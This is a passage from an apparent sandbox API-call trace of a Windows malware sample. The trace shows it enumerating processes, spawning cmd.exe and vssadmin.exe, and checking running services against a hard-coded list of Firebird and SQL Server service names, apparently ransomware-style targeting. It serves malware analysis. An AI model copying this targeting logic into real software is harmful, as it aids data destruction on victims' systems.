lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0191.826] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0191.826] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.826] lstrlenW (lpString="svchost.exe") returned 11 [0191.826] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.827] lstrlenW (lpString="svchost.exe") returned 11 [0191.827] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0191.827] lstrlenW (lpString="dwm.exe") returned 7 [0191.827] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.828] lstrlenW (lpString="svchost.exe") returned 11 [0191.828] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.828] lstrlenW (lpString="svchost.exe") returned 11 [0191.828] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.828] lstrlenW (lpString="svchost.exe") returned 11 [0191.829] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.829] lstrlenW (lpString="svchost.exe") returned 11 [0191.829] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.829] lstrlenW (lpString="svchost.exe") returned 11 [0191.830] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.830] lstrlenW (lpString="svchost.exe") returned 11 [0191.830] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.831] lstrlenW (lpString="svchost.exe") returned 11 [0191.831] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.831] lstrlenW (lpString="svchost.exe") returned 11 [0191.831] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.832] lstrlenW (lpString="svchost.exe") returned 11 [0191.832] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.833] lstrlenW (lpString="svchost.exe") returned 11 [0191.833] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0191.833] lstrlenW (lpString="spoolsv.exe") returned 11 [0191.833] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.834] lstrlenW (lpString="svchost.exe") returned 11 [0191.834] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0191.834] lstrlenW (lpString="audiodg.exe") returned 11 [0191.834] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0191.835] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0191.835] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0191.835] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0191.835] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0191.836] lstrlenW (lpString="Memory Compression") returned 18 [0191.836] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0191.836] lstrlenW (lpString="sihost.exe") returned 10 [0191.836] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.837] lstrlenW (lpString="svchost.exe") returned 11 [0191.837] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0191.837] lstrlenW (lpString="taskhostw.exe") returned 13 [0191.837] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a8, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0191.838] lstrlenW (lpString="msoia.exe") returned 9 [0191.838] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x41, th32ParentProcessID=0xa04, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0191.838] lstrlenW (lpString="explorer.exe") returned 12 [0191.838] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0191.839] lstrlenW (lpString="SearchUI.exe") returned 12 [0191.839] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0191.839] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0191.839] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0191.840] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0191.840] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0191.840] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0191.840] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa14, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0191.841] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0191.841] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0191.841] lstrlenW (lpString="cmd.exe") returned 7 [0191.841] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0191.842] lstrlenW (lpString="conhost.exe") returned 11 [0191.842] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1a8, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0191.842] lstrlenW (lpString="consent.exe") returned 11 [0191.842] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0191.843] lstrlenW (lpString="vssadmin.exe") returned 12 [0191.843] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0191.843] CloseHandle (hObject=0x370) returned 1 [0191.843] Sleep (dwMilliseconds=0x1f4) [0192.570] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x447afb8 [0192.570] EnumServicesStatusExW (in: hSCManager=0x447afb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0192.571] GetLastError () returned 0xea [0192.571] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1c94) returned 0x45c2db8 [0192.571] EnumServicesStatusExW (in: hSCManager=0x447afb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45c2db8, cbBufSize=0x1c94, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45c2db8, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0192.572] CloseServiceHandle (hSCObject=0x447afb8) returned 1 [0192.572] lstrlenW (lpString="Appinfo") returned 7 [0192.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0192.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0192.573] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0192.573] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0192.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0192.573] lstrlenW (lpString="AppXSvc") returned 7 [0192.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0192.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0192.573] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0192.573] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0192.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0192.573] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0192.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0192.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0192.573] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0192.573] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0192.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0192.573] lstrlenW (lpString="Audiosrv") returned 8 [0192.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0192.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0192.573] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0192.573] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0192.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0192.573] lstrlenW (lpString="BFE") returned 3 [0192.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0192.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0192.573] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0192.573] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0192.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0192.573] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0192.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0192.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0192.574] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0192.574] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0192.574] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0192.574] lstrlenW (lpString="CDPSvc") returned 6 [0192.574] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0192.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0192.574] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0192.574] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0192.574] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0192.574] lstrlenW (lpString="ClickToRunSvc") returned 13 [0192.574] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0192.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0192.574] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0192.574] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0192.574] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0192.574] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0192.574] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0192.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0192.574] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0192.574] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0192.574] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0192.574] lstrlenW (lpString="CryptSvc") returned 8 [0192.574] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0192.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0192.574] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0192.574] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0192.574] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0192.574] lstrlenW (lpString="DcomLaunch") returned 10 [0192.575] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0192.575] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0192.575] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0192.575] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0192.575] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0192.575] lstrlenW (lpString="DeviceAssociationService") returned 24 [0192.575] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0192.575] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0192.575] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0192.575] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0192.575] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0192.575] lstrlenW (lpString="Dhcp") returned 4 [0192.575] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0192.575] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0192.575] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0192.575] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0192.575] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0192.575] lstrlenW (lpString="Dnscache") returned 8 [0192.575] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0192.575] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0192.575] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0192.575] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0192.575] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0192.575] lstrlenW (lpString="DPS") returned 3 [0192.575] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0192.575] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0192.575] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0192.575] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0192.575] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0192.575] lstrlenW (lpString="DsmSvc") returned 6 [0192.576] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1 [0192.576] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1 [0192.576] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1 [0192.576] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1 [0192.576] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1 [0192.576] lstrlenW (lpString="DusmSvc") returned 7 [0192.576] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0192.576] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0192.576] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0192.576] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0192.576] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0192.576] lstrlenW (lpString="EventLog") returned 8 [0192.576] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0192.576] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0192.576] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0192.576] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0192.576] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0192.576] lstrlenW (lpString="EventSystem") returned 11 [0192.576] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0192.576] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0192.576] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0192.576] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0192.576] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0192.576] lstrlenW (lpString="FontCache") returned 9 [0192.576] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0192.576] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0192.576] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0192.576] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0192.576] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0192.576] lstrlenW (lpString="gpsvc") returned 5 [0192.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0192.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0192.577] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0192.577] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0192.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0192.577] lstrlenW (lpString="iphlpsvc") returned 8 [0192.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0192.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0192.577] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0192.577] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0192.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0192.577] lstrlenW (lpString="KeyIso") returned 6 [0192.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0192.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0192.577] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0192.577] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0192.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0192.577] lstrlenW (lpString="LanmanServer") returned 12 [0192.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0192.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0192.577] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0192.577] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0192.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0192.577] lstrlenW (lpString="LanmanWorkstation") returned 17 [0192.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0192.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0192.578] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0192.578] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0192.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0192.578] lstrlenW (lpString="lfsvc") returned 5 [0192.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0192.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0192.578] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0192.578] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0192.578] lstrcmpiW 